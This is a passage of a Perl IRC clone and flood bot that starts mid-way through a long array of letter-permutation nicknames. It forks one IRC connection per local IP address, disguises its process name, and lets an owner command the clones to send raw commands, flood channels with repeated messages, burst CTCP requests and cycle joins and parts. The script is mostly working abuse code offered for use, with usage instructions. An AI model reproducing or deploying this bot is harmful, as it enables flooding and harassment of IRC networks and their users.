"fdgabec", "fdgacbe", "fdgaceb", "fdgaebc", "fdgaecb", "fdgbace", "fdgbaec", "fdgbcae", "fdgbcea", "fdgbeac", "fdgbeca", "fdgcabe", "fdgcaeb", "fdgcbae", "fdgcbea", "fdgceab", "fdgceba", "fdgeabc", "fdgeacb", "fdgebac", "fdgebca", "fdgecab", "fdgecba", "feabcdg", "feabcgd", "feabdcg", "feabdgc", "feabgcd", "feabgdc", "feacbdg", "feacbgd", "feacdbg", "feacdgb", "feacgbd", "feacgdb", "feadbcg", "feadbgc", "feadcbg", "feadcgb", "feadgbc", "feadgcb", "feagbcd", "feagbdc", "feagcbd", "feagcdb", "feagdbc", "feagdcb", "febacdg", "febacgd", "febadcg", "febadgc", "febagcd", "febagdc", "febcadg", "febcagd", "febcdag", "febcdga", "febcgad", "febcgda", "febdacg", "febdagc", "febdcag", "febdcga", "febdgac", "febdgca", "febgacd", "febgadc", "febgcad", "febgcda", "febgdac", "febgdca", "fecabdg", "fecabgd", "fecadbg", "fecadgb", "fecagbd", "fecagdb", "fecbadg", "fecbagd", "fecbdag", "fecbdga", "fecbgad", "fecbgda", "fecdabg", "fecdagb", "fecdbag", "fecdbga", "fecdgab", "fecdgba", "fecgabd", "fecgadb", "fecgbad", "fecgbda", "fecgdab", "fecgdba", "fedabcg", "fedabgc", "fedacbg", "fedacgb", "fedagbc", "fedagcb", "fedbacg", "fedbagc", "fedbcag", "fedbcga", "fedbgac", "fedbgca", "fedcabg", "fedcagb", "fedcbag", "fedcbga", "fedcgab", "fedcgba", "fedgabc", "fedgacb", "fedgbac", "fedgbca", "fedgcab", "fedgcba", "fegabcd", "fegabdc", "fegacbd", "fegacdb", "fegadbc", "fegadcb", "fegbacd", "fegbadc", "fegbcad", "fegbcda", "fegbdac", "fegbdca", "fegcabd", "fegcadb", "fegcbad", "fegcbda", "fegcdab", "fegcdba", "fegdabc", "fegdacb", "fegdbac", "fegdbca", "fegdcab", "fegdcba", "fgabcde", "fgabced", "fgabdce", "fgabdec", "fgabecd", "fgabedc", "fgacbde", "fgacbed", "fgacdbe", "fgacdeb", "fgacebd", "fgacedb", "fgadbce", "fgadbec", "fgadcbe", "fgadceb", "fgadebc", "fgadecb", "fgaebcd", "fgaebdc", "fgaecbd", "fgaecdb", "fgaedbc", "fgaedcb", "fgbacde", "fgbaced", "fgbadce", "fgbadec", "fgbaecd", "fgbaedc", "fgbcade", "fgbcaed", "fgbcdae", "fgbcdea", "fgbcead", "fgbceda", "fgbdace", "fgbdaec", "fgbdcae", "fgbdcea", "fgbdeac", "fgbdeca", "fgbeacd", "fgbeadc", "fgbecad", "fgbecda", "fgbedac", "fgbedca", "fgcabde", "fgcabed", "fgcadbe", "fgcadeb", "fgcaebd", "fgcaedb", "fgcbade", "fgcbaed", "fgcbdae", "fgcbdea", "fgcbead", "fgcbeda", "fgcdabe", "fgcdaeb", "fgcdbae", "fgcdbea", "fgcdeab", "fgcdeba", "fgceabd", "fgceadb", "fgcebad", "fgcebda", "fgcedab", "fgcedba", "fgdabce", "fgdabec", "fgdacbe", "fgdaceb", "fgdaebc", "fgdaecb", "fgdbace", "fgdbaec", "fgdbcae", "fgdbcea", "fgdbeac", "fgdbeca", "fgdcabe", "fgdcaeb", "fgdcbae", "fgdcbea", "fgdceab", "fgdceba", "fgdeabc", "fgdeacb", "fgdebac", "fgdebca", "fgdecab", "fgdecba", "fgeabcd", "fgeabdc", "fgeacbd", "fgeacdb", "fgeadbc", "fgeadcb", "fgebacd", "fgebadc", "fgebcad", "fgebcda", "fgebdac", "fgebdca", "fgecabd", "fgecadb", "fgecbad", "fgecbda", "fgecdab", "fgecdba", "fgedabc", "fgedacb", "fgedbac", "fgedbca", "fgedcab", "fgedcba", "gabcdef", "gabcdfe", "gabcedf", "gabcefd", "gabcfde", "gabcfed", "gabdcef", "gabdcfe", "gabdecf", "gabdefc", "gabdfce", "gabdfec", "gabecdf", "gabecfd", "gabedcf", "gabedfc", "gabefcd", "gabefdc", "gabfcde", "gabfced", "gabfdce", "gabfdec", "gabfecd", "gabfedc", "gacbdef", "gacbdfe", "gacbedf", "gacbefd", "gacbfde", "gacbfed", "gacdbef", "gacdbfe", "gacdebf", "gacdefb", "gacdfbe", "gacdfeb", "gacebdf", "gacebfd", "gacedbf", "gacedfb", "gacefbd", "gacefdb", "gacfbde", "gacfbed", "gacfdbe", "gacfdeb", "gacfebd", "gacfedb", "gadbcef", "gadbcfe", "gadbecf", "gadbefc", "gadbfce", "gadbfec", "gadcbef", "gadcbfe", "gadcebf", "gadcefb", "gadcfbe", "gadcfeb", "gadebcf", "gadebfc", "gadecbf", "gadecfb", "gadefbc", "gadefcb", "gadfbce", "gadfbec", "gadfcbe", "gadfceb", "gadfebc", "gadfecb", "gaebcdf", "gaebcfd", "gaebdcf", "gaebdfc", "gaebfcd", "gaebfdc", "gaecbdf", "gaecbfd", "gaecdbf", "gaecdfb", "gaecfbd", "gaecfdb", "gaedbcf", "gaedbfc", "gaedcbf", "gaedcfb", "gaedfbc", "gaedfcb", "gaefbcd", "gaefbdc", "gaefcbd", "gaefcdb", "gaefdbc", "gaefdcb", "gafbcde", "gafbced", "gafbdce", "gafbdec", "gafbecd", "gafbedc", "gafcbde", "gafcbed", "gafcdbe", "gafcdeb", "gafcebd", "gafcedb", "gafdbce", "gafdbec", "gafdcbe", "gafdceb", "gafdebc", "gafdecb", "gafebcd", "gafebdc", "gafecbd", "gafecdb", "gafedbc", "gafedcb", "gbacdef", "gbacdfe", "gbacedf", "gbacefd", "gbacfde", "gbacfed", "gbadcef", "gbadcfe", "gbadecf", "gbadefc", "gbadfce", "gbadfec", "gbaecdf", "gbaecfd", "gbaedcf", "gbaedfc", "gbaefcd", "gbaefdc", "gbafcde", "gbafced", "gbafdce", "gbafdec", "gbafecd", "gbafedc", "gbcadef", "gbcadfe", "gbcaedf", "gbcaefd", "gbcafde", "gbcafed", "gbcdaef", "gbcdafe", "gbcdeaf", "gbcdefa", "gbcdfae", "gbcdfea", "gbceadf", "gbceafd", "gbcedaf", "gbcedfa", "gbcefad", "gbcefda", "gbcfade", "gbcfaed", "gbcfdae", "gbcfdea", "gbcfead", "gbcfeda", "gbdacef", "gbdacfe", "gbdaecf", "gbdaefc", "gbdafce", "gbdafec", "gbdcaef", "gbdcafe", "gbdceaf", "gbdcefa", "gbdcfae", "gbdcfea", "gbdeacf", "gbdeafc", "gbdecaf", "gbdecfa", "gbdefac", "gbdefca", "gbdface", "gbdfaec", "gbdfcae", "gbdfcea", "gbdfeac", "gbdfeca", "gbeacdf", "gbeacfd", "gbeadcf", "gbeadfc", "gbeafcd", "gbeafdc", "gbecadf", "gbecafd", "gbecdaf", "gbecdfa", "gbecfad", "gbecfda", "gbedacf", "gbedafc", "gbedcaf", "gbedcfa", "gbedfac", "gbedfca", "gbefacd", "gbefadc", "gbefcad", "gbefcda", "gbefdac", "gbefdca", "gbfacde", "gbfaced", "gbfadce", "gbfadec", "gbfaecd", "gbfaedc", "gbfcade", "gbfcaed", "gbfcdae", "gbfcdea", "gbfcead", "gbfceda", "gbfdace", "gbfdaec", "gbfdcae", "gbfdcea", "gbfdeac", "gbfdeca", "gbfeacd", "gbfeadc", "gbfecad", "gbfecda", "gbfedac", "gbfedca", "gcabdef", "gcabdfe", "gcabedf", "gcabefd", "gcabfde", "gcabfed", "gcadbef", "gcadbfe", "gcadebf", "gcadefb", "gcadfbe", "gcadfeb", "gcaebdf", "gcaebfd", "gcaedbf", "gcaedfb", "gcaefbd", "gcaefdb", "gcafbde", "gcafbed", "gcafdbe", "gcafdeb", "gcafebd", "gcafedb", "gcbadef", "gcbadfe", "gcbaedf", "gcbaefd", "gcbafde", "gcbafed", "gcbdaef", "gcbdafe", "gcbdeaf", "gcbdefa", "gcbdfae", "gcbdfea", "gcbeadf", "gcbeafd", "gcbedaf", "gcbedfa", "gcbefad", "gcbefda", "gcbfade", "gcbfaed", "gcbfdae", "gcbfdea", "gcbfead", "gcbfeda", "gcdabef", "gcdabfe", "gcdaebf", "gcdaefb", "gcdafbe", "gcdafeb", "gcdbaef", "gcdbafe", "gcdbeaf", "gcdbefa", "gcdbfae", "gcdbfea", "gcdeabf", "gcdeafb", "gcdebaf", "gcdebfa", "gcdefab", "gcdefba", "gcdfabe", "gcdfaeb", "gcdfbae", "gcdfbea", "gcdfeab", "gcdfeba", "gceabdf", "gceabfd", "gceadbf", "gceadfb", "gceafbd", "gceafdb", "gcebadf", "gcebafd", "gcebdaf", "gcebdfa", "gcebfad", "gcebfda", "gcedabf", "gcedafb", "gcedbaf", "gcedbfa", "gcedfab", "gcedfba", "gcefabd", "gcefadb", "gcefbad", "gcefbda", "gcefdab", "gcefdba", "gcfabde", "gcfabed", "gcfadbe", "gcfadeb", "gcfaebd", "gcfaedb", "gcfbade", "gcfbaed", "gcfbdae", "gcfbdea", "gcfbead", "gcfbeda", "gcfdabe", "gcfdaeb", "gcfdbae", "gcfdbea", "gcfdeab", "gcfdeba", "gcfeabd", "gcfeadb", "gcfebad", "gcfebda", "gcfedab", "gcfedba", "gdabcef", "gdabcfe", "gdabecf", "gdabefc", "gdabfce", "gdabfec", "gdacbef", "gdacbfe", "gdacebf", "gdacefb", "gdacfbe", "gdacfeb", "gdaebcf", "gdaebfc", "gdaecbf", "gdaecfb", "gdaefbc", "gdaefcb", "gdafbce", "gdafbec", "gdafcbe", "gdafceb", "gdafebc", "gdafecb", "gdbacef", "gdbacfe", "gdbaecf", "gdbaefc", "gdbafce", "gdbafec", "gdbcaef", "gdbcafe", "gdbceaf", "gdbcefa", "gdbcfae", "gdbcfea", "gdbeacf", "gdbeafc", "gdbecaf", "gdbecfa", "gdbefac", "gdbefca", "gdbface", "gdbfaec", "gdbfcae", "gdbfcea", "gdbfeac", "gdbfeca", "gdcabef", "gdcabfe", "gdcaebf", "gdcaefb", "gdcafbe", "gdcafeb", "gdcbaef", "gdcbafe", "gdcbeaf", "gdcbefa", "gdcbfae", "gdcbfea", "gdceabf", "gdceafb", "gdcebaf", "gdcebfa", "gdcefab", "gdcefba", "gdcfabe", "gdcfaeb", "gdcfbae", "gdcfbea", "gdcfeab", "gdcfeba", "gdeabcf", "gdeabfc", "gdeacbf", "gdeacfb", "gdeafbc", "gdeafcb", "gdebacf", "gdebafc", "gdebcaf", "gdebcfa", "gdebfac", "gdebfca", "gdecabf", "gdecafb", "gdecbaf", "gdecbfa", "gdecfab", "gdecfba", "gdefabc", "gdefacb", "gdefbac", "gdefbca", "gdefcab", "gdefcba", "gdfabce", "gdfabec", "gdfacbe", "gdfaceb", "gdfaebc", "gdfaecb", "gdfbace", "gdfbaec", "gdfbcae", "gdfbcea", "gdfbeac", "gdfbeca", "gdfcabe", "gdfcaeb", "gdfcbae", "gdfcbea", "gdfceab", "gdfceba", "gdfeabc", "gdfeacb", "gdfebac", "gdfebca", "gdfecab", "gdfecba", "geabcdf", "geabcfd", "geabdcf", "geabdfc", "geabfcd", "geabfdc", "geacbdf", "geacbfd", "geacdbf", "geacdfb", "geacfbd", "geacfdb", "geadbcf", "geadbfc", "geadcbf", "geadcfb", "geadfbc", "geadfcb", "geafbcd", "geafbdc", "geafcbd", "geafcdb", "geafdbc", "geafdcb", "gebacdf", "gebacfd", "gebadcf", "gebadfc", "gebafcd", "gebafdc", "gebcadf", "gebcafd", "gebcdaf", "gebcdfa", "gebcfad", "gebcfda", "gebdacf", "gebdafc", "gebdcaf", "gebdcfa", "gebdfac", "gebdfca", "gebfacd", "gebfadc", "gebfcad", "gebfcda", "gebfdac", "gebfdca", "gecabdf", "gecabfd", "gecadbf", "gecadfb", "gecafbd", "gecafdb", "gecbadf", "gecbafd", "gecbdaf", "gecbdfa", "gecbfad", "gecbfda", "gecdabf", "gecdafb", "gecdbaf", "gecdbfa", "gecdfab", "gecdfba", "gecfabd", "gecfadb", "gecfbad", "gecfbda", "gecfdab", "gecfdba", "gedabcf", "gedabfc", "gedacbf", "gedacfb", "gedafbc", "gedafcb", "gedbacf", "gedbafc", "gedbcaf", "gedbcfa", "gedbfac", "gedbfca", "gedcabf", "gedcafb", "gedcbaf", "gedcbfa", "gedcfab", "gedcfba", "gedfabc", "gedfacb", "gedfbac", "gedfbca", "gedfcab", "gedfcba", "gefabcd", "gefabdc", "gefacbd", "gefacdb", "gefadbc", "gefadcb", "gefbacd", "gefbadc", "gefbcad", "gefbcda", "gefbdac", "gefbdca", "gefcabd", "gefcadb", "gefcbad", "gefcbda", "gefcdab", "gefcdba", "gefdabc", "gefdacb", "gefdbac", "gefdbca", "gefdcab", "gefdcba", "gfabcde", "gfabced", "gfabdce", "gfabdec", "gfabecd", "gfabedc", "gfacbde", "gfacbed", "gfacdbe", "gfacdeb", "gfacebd", "gfacedb", "gfadbce", "gfadbec", "gfadcbe", "gfadceb", "gfadebc", "gfadecb", "gfaebcd", "gfaebdc", "gfaecbd", "gfaecdb", "gfaedbc", "gfaedcb", "gfbacde", "gfbaced", "gfbadce", "gfbadec", "gfbaecd", "gfbaedc", "gfbcade", "gfbcaed", "gfbcdae", "gfbcdea", "gfbcead", "gfbceda", "gfbdace", "gfbdaec", "gfbdcae", "gfbdcea", "gfbdeac", "gfbdeca", "gfbeacd", "gfbeadc", "gfbecad", "gfbecda", "gfbedac", "gfbedca", "gfcabde", "gfcabed", "gfcadbe", "gfcadeb", "gfcaebd", "gfcaedb", "gfcbade", "gfcbaed", "gfcbdae", "gfcbdea", "gfcbead", "gfcbeda", "gfcdabe", "gfcdaeb", "gfcdbae", "gfcdbea", "gfcdeab", "gfcdeba", "gfceabd", "gfceadb", "gfcebad", "gfcebda", "gfcedab", "gfcedba", "gfdabce", "gfdabec", "gfdacbe", "gfdaceb", "gfdaebc", "gfdaecb", "gfdbace", "gfdbaec", "gfdbcae", "gfdbcea", "gfdbeac", "gfdbeca", "gfdcabe", "gfdcaeb", "gfdcbae", "gfdcbea", "gfdceab", "gfdceba", "gfdeabc", "gfdeacb", "gfdebac", "gfdebca", "gfdecab", "gfdecba", "gfeabcd", "gfeabdc", "gfeacbd", "gfeacdb", "gfeadbc", "gfeadcb", "gfebacd", "gfebadc", "gfebcad", "gfebcda", "gfebdac", "gfebdca", "gfecabd", "gfecadb", "gfecbad", "gfecbda", "gfecdab", "gfecdba", "gfedabc", "gfedacb", "gfedbac", "gfedbca", "gfedcab", "gfedcba" ); my @realname = ("anakbugis"); my @WHO; my $qqum="*"; $ARGC=@ARGV; if ($ARGC !=4) { print "\n+ Slacky StyLe\n"; print "+ Aturan Pakai : perl $0 (server) (port) (channel) (admin)\n"; print "+ contoh : perl $0 irc.mojok.org 7878 Mojok Slacky\n\n"; exit(1); } $SIG{CHLD} = sub { wait }; # alterando o signal my $qtip = qx(/sbin/ifconfig |grep inet | wc -l); my @ips1 =qx(/sbin/ifconfig |grep \"inet addr\:\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c6\-); my @ips2 =qx(/sbin/ifconfig \-a |grep \"inet end\.\:\" \|awk \-F \' \' \'\{\print \$3\} \'); my @fbsd =qx(/sbin/ifconfig \|grep \"inet\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c1\-); @ips = (@ips1, @ips2, @fbsd); open(ipzitcho,">ips.txt") || die "- ips.txt not found"; print ipzitcho" @ips"; close(ipzitcho); @ips = grep { s/\n$// } @ips; $0 = $procname . "\0"; $nick2 = $nick; print STDOUT "¤ Slacky StyLe\n"; print STDOUT "\n"; print STDOUT "¤ Server : $server\n"; print STDOUT "¤ Port : $port\n"; print STDOUT "¤ Owner : $owner\n"; print STDOUT "¤ Channel: $channel\n"; print STDOUT "¤ IPs : $qtip\n"; print STDOUT "¤ MojokIRC Network (www.mojok.org)\n"; use IO::Socket; foreach my $FROM (@ips) { my $pid = fork(); # gerando um novo processo unless ($pid) { # my $ident = $nickname[rand scalar @nickname]; my $nick = $nickname[rand scalar @nickname]; my $name = $realname[rand scalar @realname]; $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit(); print $sock "NICK ".$nick."\n"; print $sock "USER $ident $FROM $server :$name\n"; while (<$sock>) { if (/^:.+?\s433\s/) { # nick already in use $nick2 = $nickname[rand scalar @nickname]; print $sock "NICK ".$nick2."\n"; } if (/^:.+?\s376\s/) { # end of motd print $sock "JOIN $channel\n"; } if(/^PING :(.*)/){ #replying the ping print $sock "PONG :$1\n"; } if(/^\:$owner!.*\@.*PRIVMSG.*:`cmd(.*)/){ print $sock "$1"; } if(/^\:$owner!.*\@.*PRIVMSG.*:`help(.*)/){ print $sock "NOTICE ".$owner." :bego ama sih Lu\n"; } if(/^\:$owner!.*\@.*PRIVMSG.*:`msg(.*)/){ print $sock "PRIVMSG ".$1." :".$2."\n"; } if (/^:.+?\s+352\s+\S+\s+\S+\s+(.+?)$/) { my $nicks = $1; #$nicks =~ s/\n//; #$nicks =~ s/\r//; push(@WHO, split(/ /, $nicks)); print STDOUT "$who[1]\n"; } if(/^\:$owner!.*\@.*PRIVMSG.*:`join(.*)/){ print $sock "JOIN ".$1." : ".$2."\n"; } if(/^\:$owner!.*\@.*PRIVMSG.*:`part(.*)/){ print $sock "PART ".$1." : ".$2."\n"; } if(/^\:$owner!.*\@.*PRIVMSG.*:`cycle(.*)/){ print $sock "JOIN ".$1." : ".$2."\n"; for (1 .. 5) { print $sock "PART ".$1." : ".$2."\n"; print $sock "JOIN ".$1." : ".$2."\n"; } } if(/^\:$owner!.*\@.*PRIVMSG.*:`ctcp(.*)/){ for (1 .. 5) { print $sock "PRIVMSG ".$1." :\001VERSION\001\n"; print $sock "PRIVMSG ".$1." :\001PING\001\n"; } } if(/^\:$owner!.*\@.*PRIVMSG.*:`cipok(.*)/){ print $sock "JOIN ".$1." : ".$2."\n"; for (1 .. 5) { print $sock "PRIVMSG ".$1." :".$2."\n"; } } if(/^ERROR :(.*)/){ use IO::Socket; $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit(); print $sock "NICK ".$nick."\n"; print $sock "USER $ident $FROM $server :$name\n"; } if(/^\:$owner!.*\@.*PRIVMSG.*:`die(.*)/){ die(); } if(/^\:.*: Connection timed out(.*)/){ print STDOUT "[~] Connection Timed Out! Retrying!\n"; use IO::Socket; $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit(); print $sock "NICK ".$nick."\n"; print $sock "USER $ident $FROM $server :$name\n"; } if( /^\:$owner!.*\@.*\s+PRIVMSG.*:`owner\s+(.*)/ ){ $owner =$1; $owner =~ s/ //; $owner =~ s/\r$//; $owner =~ s/\n$//; } } exit; } }